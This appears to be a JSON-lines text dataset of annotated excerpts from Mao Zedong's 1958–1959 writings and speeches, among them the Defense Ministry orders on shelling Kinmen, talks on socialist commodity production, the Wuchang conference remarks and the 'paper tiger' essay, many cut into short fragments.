    {"text": "中华人民共和国国防部命令 中华人民共和国国防部命令 * （一九五八年十月十三日） 福建前线人民解放军同志们： 金门炮击，从本日起，再停两星期，借以观察敌方动态，并使金门军民同胞得到充分补给，包括粮食和军事装备在内，以利他们固守。兵不厌诈，这不是诈。这是为了对付美国人的。这是民族大义，必须把中美界限分得清清楚楚。我们这样做，就全局说来，无损于己，有益于人。有益于什么人呢？有益于台、澎、金、马 〔1〕 一千万中国人，有益于全民族六亿五千万人，就是不利于美国人。有些共产党人可能暂时还不理解这个道理。怎么打出这样一个主意呢？不懂，不懂！同志们，过一会儿，你们会懂的。呆在台湾和台湾海峡的美国人，必须滚回去。他们赖在这里是没有理由的，不走是不行的。台、澎、金、马的中国人中，爱国的多，卖国的少。因此要做政治工作，使那里大多数的中国人逐步觉悟过来，孤立少数卖国贼。积以时日，成效自见。在台湾国民党没有同我们举行和平谈判并且获得合理解决以前，内战依然存在。台湾的发言人说：停停打打，打打停停，不过是共产党的一条诡计。停停打打，确是如此，但非诡计。你们不要和谈，打是免不了的。在你们采取现在这种顽固态度期间，我们是有自由权的，要打就打，要停就停。美国人想在我国的内战问题上插进一只手来，他们叫做停火，令人忍俊不禁。美国人有什么资格谈这个问题呢？请问他们代表什么人？什么也不代表。他们代表美国人吗？中美两国没有开战，无火可停。他们代表台湾人吗？台湾当局没有发给他们委任状，国民党领袖根本反对中美会谈。美国民族是一个伟大的民族，其人民是善良的。他们不要战争，欢迎和平。但是美国政府的工作人员，有一部分，例如杜勒斯 〔2〕 之流，实在不大高明。即如所谓停火一说，岂非缺乏常识？台、澎、金、马整个地收复回来，完成祖国统一，这是我们六亿五千万人民的神圣任务。这是中国内政，外人无权过问，联合国也无权过问。世界上一切侵略者及其走狗，通通都要被埋葬掉，为期不会很远。他们一定逃不掉的。他们想躲到月球里去也不行。寇能往，我亦能往，总是可以抓回来的。一句话，胜利是全世界人民的。金门海域，美国人不得护航。如有护航，立即开炮。切切此令！ 一九五八年十月十三日上午一时 注 释 * 这篇文章是毛泽东起草的。 〔1〕 台、澎、金、马，指台湾、澎湖、金门和马祖。 〔2〕 杜勒斯，时任美国国务卿。"},
    {"text": "中华人民共和国国防部再告台湾同胞书 中华人民共和国国防部 再告台湾同胞书 * （一九五八年十月二十五日） 台湾、澎湖、金门、马祖军民同胞们： 我们完全明白，你们绝大多数都是爱国的，甘心做美国人奴隶的只有极少数。同胞们，中国人的事只能由我们中国人自己解决。一时难于解决，可以从长商议。美国的政治掮客杜勒斯 〔1〕 ，爱管闲事，想从国共两党的历史纠纷这件事情中间插进一只手来，命令中国人做这样，做那样，损害中国人的利益，适合美国人的利益。就是说，第一步，孤立台湾；第二步，托管台湾。如不遂意，最毒辣的手段，都可以拿出来。你们知道张作霖 〔2〕 将军是怎样死去的吗？东北有一个皇姑屯，他就是在那里被人治死的。世界上的帝国主义分子都没有良心。美帝国主义者尤为凶恶，至少不下于治死张作霖的日本人。同胞们，我劝你们当心一点儿。我劝你们不要过于依人篱下，让人家把一切权柄都拿了去。我们两党间的事情很好办。我已命令福建前线，逢双日不打金门的飞机场、料罗湾的码头、海滩和船只，使大金门、小金门、大担、二担大小岛屿上的军民同胞都得到充分的供应，包括粮食、蔬菜、食油、燃料和军事装备在内，以利你们长期固守。如有不足，只要你们开口，我们可以供应。化敌为友，此其时矣。逢单日，你们的船只、飞机不要来。逢单日我们也不一定打炮，但是你们不要来，以免受到可能的损失。这样，一个月中有半月可以运输，供应可以无缺。你们有些人怀疑，我们要瓦解你们军民之间官兵之间的团结。同胞们，不，我们希望你们加强团结，以便一致对外。打打停停，半打半停，不是诡计，而是当前具体情况下的正常产物。不打飞机场、码头、海滩、船只，仍以不引进美国人护航为条件。如有护航，不在此例。蒋、杜会谈 〔3〕 ，你们吃了一点亏，你们只有代表“自由中国”发言的权利了；再加上小部分华侨，还许你们代表他们。美国人把你们封为一个小中国。十月二十三日，美国国务院发表十月十六日杜勒斯预制的同英国一家广播公司所派记者的谈话，杜勒斯从台湾一起飞，谈话就发出来。他说，他看见了一个共产党人的中国，并且说，这个国家确实存在，愿意同它打交道，云云。谢天谢地，我们这个国家，算是被一位美国老爷看见了。这是一个大中国。美国人迫于形势，改变了政策，把你们当作一个“事实上存在的政治单位”，其实并非当作一个国家。这种“事实上存在的政治单位”，在目前开始的第一个阶段，美国人还是需要的。这就是孤立台湾。第二个阶段，就要托管台湾了。国民党朋友们，难道你们还不感觉这种危险吗？出路何在？请你们想一想吧。此次蒋杜会谈文告不过是个公报，没有法律效力，要摆脱是容易的，就看你们有无决心。世界上只有一个中国，没有两个中国。这一点我们是一致的。美国人强迫制造两个中国的伎俩，全中国人民，包括你们和海外侨胞在内，是绝对不容许其实现的。现在这个时代，是一个充满希望的时代，一切爱国者都有出路，不要怕什么帝国主义者。当然，我们并不劝你们马上同美国人决裂，这样想，是不现实的。我们只是希望你们不要屈服于美国人的压力，随人俯仰，丧失主权，最后走到存身无地，被人丢到大海里去。我们这些话是好心，非恶意，将来你们会慢慢理解的。 一九五八年十月二十五日 注 释 * 这篇文章是毛泽东起草的。 〔1〕 杜勒斯，时任美国国务卿。 〔2〕 张作霖（一八七五——一九二八），辽宁海城人，北洋军阀统治时期奉系军阀首领。曾在日本帝国主义支持下长期统治东北。一九二六年自任安国军总司令，联合直系军阀吴佩孚入据北京。一九二八年六月同蒋介石作战失败后退回东北，途经皇姑屯车站时，被日本关东军预埋的炸弹炸死。 〔3〕 蒋、杜会谈，指蒋介石同美国国务卿杜勒斯一九五八年十月二十一日至二十三日在台湾举行的会谈。会谈公报中说，“美国承认中华民国是自由中国的以及广大中国人民所抱希望和愿望的真正代言人”。"},
    {"text": "关于社会主义商品生产问题<a class=\"zy\" href=\"#id1a\" id=\"id1\">〔1〕</a> 关于社会主义商品生产问题 〔1〕 * （一九五八年十一月九日、十日） 一 许多人避而不谈商品和商业问题，好像不如此就不是共产主义似的。"},
    {"text": "他们向往共产主义，一提商品生产就发愁，觉得这是资本主义的东西，没有分清社会主义商品生产和资本主义商品生产的区别，不懂得在社会主义条件下利用商品生产的作用的重要性。"},
    {"text": "我以为有了人民公社以后，商品生产、商品交换更要发展，要有计划地大大发展社会主义的商品生产，例如畜产品、大豆、黄麻、肠衣、果木、皮毛。"},
    {"text": "斯大林对恩格斯的这个公式所作的分析是对的，斯大林说：“恩格斯在他的公式中所指的，不是把一部分生产资料收归国有，而是把一切生产资料收归国有，即不仅把工业中的生产资料，而且也把农业中的生产资料都转归全民所有。"},
    {"text": "我们在一九五四年犯过点错误，征购粮食太多了，全体农民反对我们，人人说粮食，户户谈统购，这也是“可怜的马克思主义者”因为不知道农民手里到底有多少粮。"},
    {"text": "不能孤立地看商品生产，斯大林的话完全正确，他说：“决不能把商品生产看作是某种不依赖周围经济条件而独立自在的东西。 ” 〔7〕 商品生产，要看它是同什么经济制度相联系，同资本主义制度相联系就是资本主义的商品生产，同社会主义制度相联系就是社会主义的商品生产。 商品生产从古就有，商朝的“商”字，就是表示当时已经有了商品生产的意思。"},
    {"text": "从一九五〇年开始，我们让资本主义经济成分发展了六年之久，但同时已经实行加工订货、统购包销、公私合营，对资本主义经济成分进行社会主义改造。"},
    {"text": "注 释 * 这是毛泽东同志在第一次郑州工作会议上的多次讲话。 〔1〕 一九五八年十一月二日至十日，毛泽东召集部分中央领导人和部分地方负责人在郑州举行工作会议。"},
    {"text": "他在会上多次讲话，批评了急于想使人民公社由集体所有制过渡到全民所有制、由社会主义过渡到共产主义，以及企图废除商品生产等错误主张。"},
    {"text": "〔2〕 指《十五年社会主义建设纲要四十条（一九五八——一九七二）》第一次修正稿修改时重新改写的第三十六条，内容是：“人民公社应当根据必要的社会分工发展生产，既要增加自给性的产品，又必须增加用以交换的产品。"},
    {"text": "〔4〕 见恩格斯《反杜林论》（《马克思恩格斯选集》第3卷，人民出版社1995年版，第633页）。 〔5〕 见斯大林《苏联社会主义经济问题》（《斯大林选集》下卷，人民出版社一九七九年版，第546页）。 〔6〕 见斯大林《苏联社会主义经济问题》。"},
    {"text": "原文是：“也不能把另一种可怜的马克思主义者的意见当作答案，他们认为，也许应该夺取政权，并且剥夺农村的中小生产者，把他们的生产资料公有化。"},
    {"text": "”（《斯大林选集》下卷，人民出版社一九七九年版，第547页） 〔7〕 见斯大林《苏联社会主义经济问题》（《斯大林选集》下卷，人民出版社一九七九年版，第549页）。"},
    {"text": "见斯大林《苏联社会主义经济问题》（《斯大林选集》下卷，人民出版社一九七九年版，第549页）。 〔14〕 见斯大林《苏联社会主义经济问题》（《斯大林选集》下卷，人民出版社一九七九年版，第549页）。"},
    {"text": "记者头脑要冷静 记者头脑要冷静 * （一九五八年十一月二十一日） 做报纸工作的，做记者工作的，对遇到的问题要有分析，要有正确的看法、正确的态度。 矛盾有正面，有侧面。看问题一定要看到矛盾的各个方面。群众运动有主流，有支流。到下面去看，对运动的成绩和缺点要有辩证的观点，不要把任何一件事情绝对化。好事情不要全信，坏事情也不要只看到它的消极一面。比方瞒产，我对隐瞒产量是寄予同情的。当然，不说实话，是不好的。但是为什么瞒产？有很多原因，最主要的原因是想多吃一点，值得同情。瞒产，除了不老实这一点以外，没有什么不好。隐瞒了产量，粮食依然还在。瞒产的思想要批判，但是对发展生产没有大不了的坏处。 虚报不好，比瞒产有危险性。报多了，拿不出来。如果根据多报的数字作生产计划，有危险性，作供应计划，更危险。 记者到下面去，不能人家说什么，你就反映什么，要有冷静的头脑，要作比较。 强迫命令，不好。一定的命令还是需要的。如果什么事情都命令，就不好了。有些事情也并非强迫命令，例如党委的决议，一定要照办。总要有集中。集中的过程要有民主。要提倡民主作风，反对强迫命令。 记者要善于比较。唐朝有一个太守，他问官司，先去了解原告被告周围的人和周围的情况，然后再审原告被告。这叫作“勾推法”。这就是比较，同周围的环境比较。记者要善于运用这种方法。不要看到好的就认为全好，看到坏的就认为全坏。如果别人说全好，那你就问一问：是不是全好？如果别人说全坏，那你就问一问：一点好处没有吗？ 现在全国到处乱哄哄的，大跃进。成绩很大，头脑热了些。 记者的头脑要冷静，要独立思考，不要人云亦云。这种思想方法，首先是各新华分社和《人民日报》的记者、北京的编辑部要有。不要人家讲什么，就宣传什么，要经过考虑。 记者，特别是记者头子，头脑要清楚，要冷静。 注 释 * 这是毛泽东同志同新华通讯社社长、《人民日报》总编辑吴冷西谈话的要点。"},
    {"text": "在武昌会议上的讲话 在武昌会议上的讲话 * （一九五八年十一月二十一日、二十三日） 一、十一月二十一日的讲话 ——死了人不能杀我的头 睡不着觉，心里有事。"},
    {"text": "我们在全世界人民面前，就整个社会主义阵营来说，我设想一定要苏联先过渡（不是命令），我们无论如何要后过渡，不管我们搞多少钢，这条大家看对不对？"},
    {"text": "因为革命，马克思那时没有成功，列宁成功了，完成了十月革命，苏联已经搞了四十一年，再搞十二年，才过渡，落在我们后头，现在已经发慌了。"},
    {"text": "我看要逼他过，形势逼人，逼他快些过渡，没有这种形势是不行的。 你上半年过，我下半年过，你过我也过，最多比他迟三年，但是一定要让他先过。"},
    {"text": "我们搞社会主义建设没有经验，我看要过渡到共产主义，一定要让苏联先过，我们后过，这是不是机会主义，他是十二年只有一亿吨钢，我们也不能先过，也有理由，我们十年四亿吨钢，一百六十万台机器，二十五亿吨煤，三亿吨石油，我国有天下第一田 〔1〕 ，到那个时候，地球上有天下第一国。"},
    {"text": "今年到现在十一月十七日统计，只搞了八百九十万吨钢，已经有六千万人上阵，你说搞四亿吨要多少人？ 当然条件不同，鞍钢现有十万人，搞了四百万吨。"},
    {"text": "我看斯大林认识也不完全，运用也不灵活，至于熟练地运用就更差，对工、农，轻、重工业都不那么正确，重工业太重，是长腿，农业是短腿，是铁拐李。"},
    {"text": "摆他两三年再说，横竖不碍事，过去讲过不搞长远计划，没有把握，只搞年度计划，但在少数人头脑中有个数，还是必要的，四十条纲要要有两种办法，一是认真议一下，作为全会草案讨论通过。"},
    {"text": "斯大林在一九三六年、一九三八年两个报告（前者是宪法报告，后者是十八次代表大会报告）提出两个标志：一是消灭阶级，一是工业比重已占百分之七十。"},
    {"text": "但苏联过了二十年，赫鲁晓夫又来个十二年，即经过三十二年才能过渡，到那时候集体所有制和全民所有制才能合一，在这个问题上我们不照他们的办。"},
    {"text": "苏联从一九二一年算起，到一九三八年共十八年，只有一千八百万吨钢，我们到一九六八年也是十八年，时间差不多，肯定东西要多，我们明年就超过一千八百万吨钢，我们建成社会主义，是所有制合为一个标准，都是全民所有制，我们已完成全民所有制为第一标准，按此标准，苏联就没有建成社会主义。"},
    {"text": "当然另有三分之一的积累，总还有农民自己消费的，所以也近乎全民所有制了，现在就是吃穷的饭，什么公共食堂，现在就是太快，少者三、四年，多者五、六年，我有点恐慌，怕犯什么冒险主义的错误。"},
    {"text": "） （彭真：我们搞了土改，就搞大合作，又搞公社，只要到每人一百五十元到二百元就可以过渡，太多了，如罗马尼亚那样，农民比工人收入多时，就不好转了，把三化压低，趁热打铁，早转比晚转好，三、四年即可过渡。"},
    {"text": "按苏联的说法，是一九三六年宣布的十六年消灭，我们十六年也许可能，今年九年，还有七年，但不要说死，消灭阶级有两种，一种是作为经济剥削的阶级容易消灭，现在我们可以说已消灭了，另一种是政治思想上的阶级（地主、富农、资产阶级，包括他们的知识分子），不容易消灭，还没有消灭，这是去年整风才发现的。"},
    {"text": "那些地、富、反、坏经济上不剥削，但作为政治上、思想上的这个阶级，如章伯钧一起的地主、资产阶级还存在，搞人民公社，首先知识分子、教授最关心，惶惶不可终日。"},
    {"text": "不但是生活资料，而且包括生产资料，这个问题可以研究一下，斯大林有一点讲的不通，农产品是商品。 工业品是非商品，一个商品，一个非商品（国营工业的产品），两者交换（布匹与农庄粮食交换）这怎么能讲的通呢？"},
    {"text": "因此，四十条中商品写得不妥当，还是照斯大林的写的，而斯大林对于国营生产的生活资料和集体农庄生产的生活资料的关系没弄清楚，请大家议一下，是政治经济学第三版，其他没有大改。"},
    {"text": "现在全国有几十万人议论纷纷，十人十说，百人百说，还要看书，没有看过的要看，看过的再看一遍，还要看政治经济学教科书，你们看了没有？"},
    {"text": "还要各种各样的任务，钢铁、铜、铝、煤炭、运输、加工工业、化学工业，需要人很多，这样一来，我看搞起来，中国非死一半人不可，不死一半也要死三分之一或者十分之一，死五千万人。"},
    {"text": "一千九百多亿土石方总是多了，你们议一下，你们一定要搞，我也没办法，但死了人不能杀我的头，要比去年再加一点，搞六、七百亿，不要太多。"},
    {"text": "不要像唱戏拉胡琴，弦拉得太紧了，有断弦的危险，这可能有一点泼冷水的味道，下面干部搞公社，有些听不进去，无非骂我们右倾，不要怕，硬着头皮让下面骂，翻一番。"},
    {"text": "总是要有实际可能才好，有两种实际可能性，一种是现实的可能性，另一种是非现实的可能性，如现在造卫星就是非现实的，将来可能是落实的。"},
    {"text": "（八）人民公社要整顿四个月，十二、一、二、三月要搞万人检查团，主要是看每天是否睡了八小时，如只睡七小时是未完成任务，我是从未完成任务的，你们也可以检查贴大字报，食堂如何，要有个章程，人民公社要议一下，搞个指示，四个月能不能整顿好？"},
    {"text": "把题目提出来，去讨论，那样为好，各个同志都可以提问题，这些时候，这些问题在我的脑子里，总是十五个吊桶打水七上八下，究竟那个方法好。"},
    {"text": "路线还是那个路线，精神还是那个精神，就是所提指标和根据要切实研究一下。 报告中提出的一些指标根据不充分，只讲可能，没有讲根据，各部需要补充根据。"},
    {"text": "前天晚上，富春、一波、王鹤寿、赵尔陆 〔7〕 他们已经睡着了，我从被窝里头把这几位同志拖起来，就是讲，不是什么三千万吨有无把握的问题，而是一千八百万吨有无把握的问题。"},
    {"text": "现在说的那些根据，我还不能服，我已经是站在机会主义的立场，并为此奋斗，打我屁股与你们无关，无非是将来又搞个马鞍形，过去大家反我的冒进，今天我在这里反人家的冒进。"},
    {"text": "昨晚谈的似乎一千八百万吨是有把握的，这努力可以达到，不叫冒进，明年要搞好钢一千八百万吨，今年一千一百万吨钢，只有八百五十万吨好的。"},
    {"text": "一千八百万吨，我觉得还是根据不足，好些关未过，你们修改文章，要证明什么时候过什么关，选矿之关、洗矿之关、破碎之关、选煤之关、冶炼之关、运输之关、质量之关，有的明年一月二月或三月四月五月六月才能过关。"},
    {"text": "有些关究竟何时能过，如果没有把握还得下压，一千五百万吨也可以，有把握即一千八百万吨，再有把握、二千二百万吨，再有把握二千五百万吨、三千万吨我都赞成，问题在于有无把握。"},
    {"text": "明年只准备搞七百一十五万吨，又说经过努力，可以搞八百万吨，我看要讲机会主义，他才是机会主义，可是在苏联，他是要得势的，因为今年只有五百万吨，明年百万吨，增加了百分之六十嘛，增加了半倍多，是半机会主义。 华北去年只有六十万吨，今年一百五十万吨，明年打算四百万吨，今年增加一点七倍，这是马列主义，明年增加到四百万吨，这是几个马克思主义了，你办得了吗？"},
    {"text": "问题是是否能确实办到，要搞许多保险系数，一千八百万吨作为第一本帐，在人民代表大会通过，确实为此奋斗，还要作思想准备，如果只能搞到一千五百万吨好钢，另外有三百万吨土钢，我也满意，如此，我的负担就解除了。"},
    {"text": "又如铁路，原定五年只搞二万公里，现在几年就搞二万公里，需要是需要，但能不能搞这样多？ 成都会议是五年二万公里，现在一九五八年就搞了两万公里，吕正操 〔9〕 的报告气魄很大，我很高兴，问题是能不能办到，有没有把握，要找出根据，还有什么办法？ 有矛盾，吕正操你真是思想解决了，中央可以夸海口，担子则压在地方身上，例如湖北第一季度地方要钢材八万吨，武钢要七万五千吨，六十五万五千吨，而中央只给七万吨，所以那些项目是建不成的。"},
    {"text": "例如区上，为填表报，专设一个假报员，专门填写表报，因为上面一定要报，而且报少了不像样子，一路报上去，上面信以为真，实际根本没有，我看见现在不少这样的问题。"},
    {"text": "郑州会议 〔10〕 提出的《关于人民公社若干问题的决议》 〔11〕 初稿，现在要搞成指示，作假问题要专搞一条，不要同工作方法写在一起，否则人家不注意。"},
    {"text": "中南海有个下放干部写信回来说，他所在的那个公社规定要拔掉三百亩包谷，改种红薯，每亩红薯要种一百五十万株，而当时包谷已经长到人头那么高了，群众觉得可惜，只拔了三十亩，但上报说拔了三百亩。"},
    {"text": "〔1〕 天下第一田，指新华通讯社一九五八年十一月十三日编印的《内部参考》第2632期刊载的报道《安国的小麦千亩天下第一田》。 介绍了河北省安国县伍仁桥东风人民公社在开展播种规格化、种植区域化、耕作园田化的小麦大面积丰产运动中，搞的一块“千亩天下第一田”的情况，说这块千亩麦田埂直如线，畦平如镜，土粒胜如筛过，畦埂犹如刀切，计划平均亩产二万斤。"},
    {"text": "一九五七年六月十四日，中共中央和国务院严肃处理了广西因为灾荒饿死人事件。 一九五六年，广西省发生了严重的自然灾害，粮食大幅度减产，农民群众口粮不足。 当时中共广西省委和广西省人民委员会主要负责人存在对人民群众漠不关心的严重官僚主义，对灾害的严重性估计不足，没能采取有力的救灾措施，以致造成全省一万多农民外逃，五百五十多人饿死的严重事件。"},
    {"text": "为提醒全党吸取此次事件的教训，《人民日报》六月十八日发表了《坚持同漠视民命的官僚主义作风作斗争》的社论。 社论指出，这次广西发生的事件，从全国范围看，虽然是个别的，但它所暴露出来的不关心人民疾苦的官僚主义和主观主义的思想作风，确实是不能容忍的。"},
    {"text": "〔7〕 富春、一波、王鹤寿、赵尔陆：李富春时任计委主任，薄一波时任副总理兼国家经济委员会主任，王鹤寿时任冶金工业部部长，赵尔陆时任第一机械工业部部长，兼国家计划委员会副主任。"},
    {"text": "决定将全国划分为东北、华北、华东、华南、华中、西南、西北等七个协作区，各个协作区都成立协作区委员会，作为各个协作区的领导机构。 《决定》要求各个协作区“根据各个经济区域的资源等条件，按照全国统一的规划，尽快地分别建立大型的工业骨干和经济中心，形成若干个具有比较完整的工业体系的经济区域”。"},
    {"text": "关于帝国主义和一切反动派是不是真老虎的问题 关于帝国主义和一切反动派 是不是真老虎的问题 * （一九五八年十二月一日） 这里我想回答帝国主义及一切反动派是不是真老虎的问题。我的回答是，既是真的，又是纸的，这是一个由真变纸的过程的问题。变即转化，真老虎转化为纸老虎，走向反面。一切事物都是如此，不独社会现象而已。我在几年前已经回答了这个问题，战略上藐视它，战术上重视它。不是真老虎，为什么要重视它呢？看来还有一些人不通，我们还得做些解释工作。 同世界上一切事物无不具有两重性（即对立统一规律）一样，帝国主义和一切反动派也有两重性，它们是真老虎又是纸老虎。历史上奴隶主阶级、封建地主阶级和资产阶级，在它们取得统治权力以前和取得统治权力以后的一段时间内，它们是生气勃勃的，是革命者，是先进者，是真老虎。在随后的一段时间，由于它们的对立面，奴隶阶级、农民阶级和无产阶级，逐步壮大，并同它们进行斗争，越来越厉害，它们就逐步向反面转化，化为反动派，化为落后的人们，化为纸老虎，终究被或者将被人民所推翻。反动的、落后的、腐朽的阶级，在面临人民的决死斗争的时候，也还有这样的两重性。一面，真老虎，吃人，成百万人成千万人地吃。人民斗争事业处在艰难困苦的时代，出现许多弯弯曲曲的道路。中国人民为了消灭帝国主义、封建主义和官僚资本主义在中国的统治，花了一百多年时间，死了大概几千万人之多，才取得一九四九年的胜利。你看，这不是活老虎，铁老虎，真老虎吗？但是，它们终究转化成了纸老虎，死老虎，豆腐老虎。这是历史的事实。人们难道没有看见听见过这些吗？真是成千成万！成千成万！所以，从本质上看，从长期上看，从战略上看，必须如实地把帝国主义和一切反动派，都看成纸老虎。从这点上，建立我们的战略思想。另一方面，它们又是活的铁的真的老虎，它们会吃人的。从这点上，建立我们的策略思想和战术思想。向阶级敌人作斗争是如此，向自然界作斗争也是如此。我们在一九五六年发表的十二年农业发展纲要四十条 〔1〕 和十二年科学发展纲要 〔2〕 。这些都是从马克思主义关于宇宙发展的两重性，关于事物发展的两重性，关于事物总是当作过程出现而任何一个过程无不包括两重性，这样一个基本观点，对立统一的观点，出发的。一方面，藐视它，轻而易举，不算数，不在乎，可以完成，能打胜仗。一方面，重视它，并非轻而易举，算数的，千万不可以掉以轻心，不经艰苦奋斗，不苦战，就不能胜利。怕与不怕，是一个对立统一法则。一点不怕，无忧无虑，真正单纯的乐神，从来没有。每一个人都是忧患与生俱来。学生们怕考试，儿童怕父母有偏爱，三灾八难，五痨七伤，发烧四十一度，以及“天有不测风云，人有旦夕祸福”之类，不可胜数。阶级斗争，向自然界的斗争，所遇到的困难，更不可胜数。但是，大多的人类，首先是无产阶级，首先是共产党人，除掉怕死鬼以及机会主义的先生们以外，总是将藐视一切，乐观主义，放在他们心目中的首位的。然后才是重视事物，重视每件工作，重视科学研究，分析事物的每一个矛盾侧面，钻进去，逐步地认识自然运动的法则和社会运动的法则。然后就有可能掌握这些法则，比较自由地运用这些法则，一个一个地解决人们面临的问题，处理矛盾，完成任务，使困难向顺利转化，使真老虎向纸老虎转化，使革命的初级阶段向高级阶段转化，使民主革命向社会主义革命转化，使社会主义的集体所有制向社会主义的全民所有制转化，使社会主义的全民所有制向共产主义的全民所有制转化，使年产几百万吨钢向年产几千万吨钢乃至几万万吨钢转化，使亩产一百多斤或者几百斤粮食向亩产几千斤或者甚至几万斤粮食转化。同志们，我们就是做这些转化工作的。同志们，可能性同现实性是两件东西，是统一性的两个对立面。虚假的可能性同现实的可能性又是两件东西，又是统一性的两个对立面。头脑要冷又要热，又是统一性的两个对立面。冲天干劲是热。科学分析是冷。在我国，在目前，有些人太热了一点。他们不想使自己的头脑有一段冷的时间，不愿意做分析，只爱热。同志们，这种态度是不利于做领导工作的，他们可能跌筋斗，这些人应当注意提醒一下自己的头脑。另有一些人爱冷不爱热。他们对一些事，看不惯，跟不上。对这些人，应当使他们的头脑慢慢热起来。 一九五八年十二月一日，在武昌 注 释 * 这是毛泽东同志在武昌举行的中共八届六中全会期间写的一篇文章。 〔1〕 指《一九五六年到一九六七年全国农业发展纲要（草案）》。 〔2〕 指《一九五六——一九六七年科学技术发展远景规划纲要（草案）》。这个草案是国务院根据中共中央关于迅速改变我国在经济上和科学文化上的落后状况的指示精神，从一九五六年四月开始，组织六百多名中国科学技术专家，并邀请二十多位苏联专家，经过半年的研究和讨论制订的。规划提出了国家建设所急需的五十七项重要科学技术任务和六百一十六个中心问题，并指出了各门类科学的发展方向。这个规划的实施，推动了我国科学技术事业的迅速发展。"},
    {"text": "找到了一种建设社会主义的形式，便于由集体所有制过渡到全民所有制，也便于由社会主义的全民所有制过渡到共产主义的全民所有制，便于工农商学兵，规模大，人多，便于办很多事。"},
    {"text": "没有对严重违法乱纪的一部分人经过辩论，区分情节，给以轻重不同的处分，也会挫伤群众的热情，有些特别严重的要做刑事处理。 总之，要有分析，其中有些是阶级异己分子，有些不是阶级异己分子，但情节恶劣的，如打人、骂人押人、捆人，要给予处分。"},
    {"text": "国际上也有议论，大体上有几说：一说是性急一点，他们有冲天干劲，革命热情很高，非常宝贵，但未作历史分析，形势分析，国际分析，这些人好处是热情高，缺点是太急了，纷纷宣布进入全民所有制，两三年进入共产主义。"},
    {"text": "读一读斯大林的《论社会主义经济问题》、《政治经济学教科书》（第三版）、《马恩列斯论共产主义社会》，拿出几个月时间，各省要组织一下。"},
    {"text": "只发表一个公报明年三月人代会上发表，这和我们的雄心大志相符，避免了由于一九五八年大跃进而产生的某些不切合实际的想法，比较有根据。"},
    {"text": "七、郑州会议搞的十五年纲要，这次搁下没有谈，可能不可能，需要不需要，都缺乏根据，不仅缺乏充分的根据，而且缺乏初步的根据，苏联和美国的经验，都不能证明搞那么多，是不是可能？"},
    {"text": "或者胜利，或者灭亡。 我们中华人民共和国也有两种可能，胜利下去，或者灭亡。 列宁是不隐讳灭亡这种可能性的，我们人民共和国也有两种可能性，不要否定这种可能性。"},
    {"text": "要估计到不高兴的这一面，索性讲清楚，把这些倒霉的事，在省，地、县开个会，吹一吹，有什么不可以，别人讲不爱听，我就到处讲讲倒霉的事，无非是公共食堂、公社垮台，党分裂，脱离群众，被美国占领，国家灭掉，打游击。"},
    {"text": "马列主义基本原理至今未变，个别结论可以改变 马列主义基本原理至今未变， 个别结论可以改变 * （一九五九年二月十四日） 马特：我有些理论问题不清楚，想在这里提一提。"},
    {"text": "至于马克思、列宁关于个别问题的结论做得不合适，这种情况是可能的，因为受当时条件的限制，例如马克思关于无产阶级革命首先在西方几个国家同时取得胜利的结论。"},
    {"text": "毛：列宁在从事研究工作的后期，指出了资本主义发展的帝国主义阶段，看出了资本主义发展不平衡的规律，有可能引起世界大战，有可能首先在一国或几国爆发革命，在东方国家中也有这种可能。"},
    {"text": "马西方国家和拉丁美洲国家问题的解决将要受十月革命和中国革命的影响，但是你们说这将是马列主义的胜利，而不说是运用辩证唯物主义的胜利。"},
    {"text": "二、马列主义的经济学，这是用马列主义的观点来考察经济现象的学说； 三、马列主义的革命学说，比如关于阶级斗争、政党、无产阶级专政等的学说。 这三部分不能分割，而应视为马列主义的三个有机联系的组成部分。"},
    {"text": "〔1〕 见列宁《论欧洲联邦口号》（一九一五年八月）：“社会主义可能首先在少数甚至在单独一个资本主义国家内获得胜利。 ”又见列宁《无产阶级革命的军事纲领》（一九一六年九月）：“社会主义不能在所有国家内同时获得胜利。"},
    {"text": "在第二次郑州会议上的讲话 在第二次郑州会议上的讲话 * （一九五九年二月二十七日、二十八日、三月一日、三月五日） 一、二月二十七日的讲话 ——劳动人民的劳动成果怎么能无偿占有呢 一九五八年，我们在各个战线上取得了伟大的成绩，不论在思想政治战线上，工业战线上，农业战线上，交通运输战线上，商业战线上，文教战线上，国防战线上，以及其他方面。"},
    {"text": "人民公社的建立使农村中原来的生产资料集体所有制扩大和提高了，并且开始带有若干全民所有制的成份，人民公社的规模比农业生产合作社大得多，并且实行了工农商学兵，农林牧副渔的结合，这就有力的促进了农业生产和整个农村经济的发展，广大的农民。"},
    {"text": "人民和他们的领导者们都只能从他们的实践中逐步取得经验，对事物的本质逐步加深他们的认识，揭露事物的矛盾，解决这些矛盾，肯定工作中的成绩，克服工作中的缺点，谁要说一个广大的社会运动能够完全没有缺点，那他不过就是一个空想家，或者是一个观潮派算账派，或者简直是敌对分子。"},
    {"text": "人民公社现在正在进行整顿巩固工作，就是说整社，已经或者正在辩论一九五八年有无大跃进和人民公社有无优越性两个问题。 各级党委正在整社工作中，按着六中全会的方针，采取了首先肯定大跃进的成绩，肯定人民公社的优越性，然后才能指出工作中的缺点错误这种次序，这种作法是完全恰当的。"},
    {"text": "而这个矛盾我认为必须迅速地加以解决，才有利于调动广大人民群众更高的积极性，才有利于改善我们和基层干部的关系，这主要是县委、公社党委和基层干部之间的关系。"},
    {"text": "大家看到，目前我们跟农民的关系在一些事情上存在着一种相当紧张的状态，突出的现象是在一九五八年农业大丰收以后，粮食、棉花、油料等等农产品的收购至今还有一部分没有完成任务。"},
    {"text": "再则全国，除少数灾区外，几乎普遍地发生瞒产私分，大闹粮食、油料、猪肉、蔬菜“不足”的风潮，其规模之大，较之一九五三年和一九五五年那两次粮食风潮都有过之无不及。"},
    {"text": "现在有许多人还不认识公社所有制必须有一个发展过程，在公社内，由队的小集体所有制到社的大集体所有制，需要一个过程，这个过程要有几年时间才能完成。"},
    {"text": "他们误认人民公社一成立，各生产队的生产资料、人力、产品，就都可以由公社领导机关直接支配。 他们误认社会主义为共产主义，误认按劳分配为按需分配，误认集体所有制为全民所有制。"},
    {"text": "这样，下面的同志也就把公社、生产大队、生产队三级所有制之间的区别模糊了，实际上否认了目前还存在于公社中并且具有极大重要性的生产队（或者生产大队，大体上相当于原来的高级社）的所有制，而这就不可避免要引起广大农民的坚决抵抗。"},
    {"text": "我以为，产品本来有余，应该向国家交售而不交售的这种本位主义确实是有的，犯本位主义的党员干部是应该受到批评的，但是有很多情况并不能称之为本位主义。"},
    {"text": "同时，许多公社和县从生产队抽取的积累太多，公社的管理费又包括很大的浪费，例如有一些大社竟有成千工作人员不劳而食或半劳而食，甚至还有脱产文工团。"},
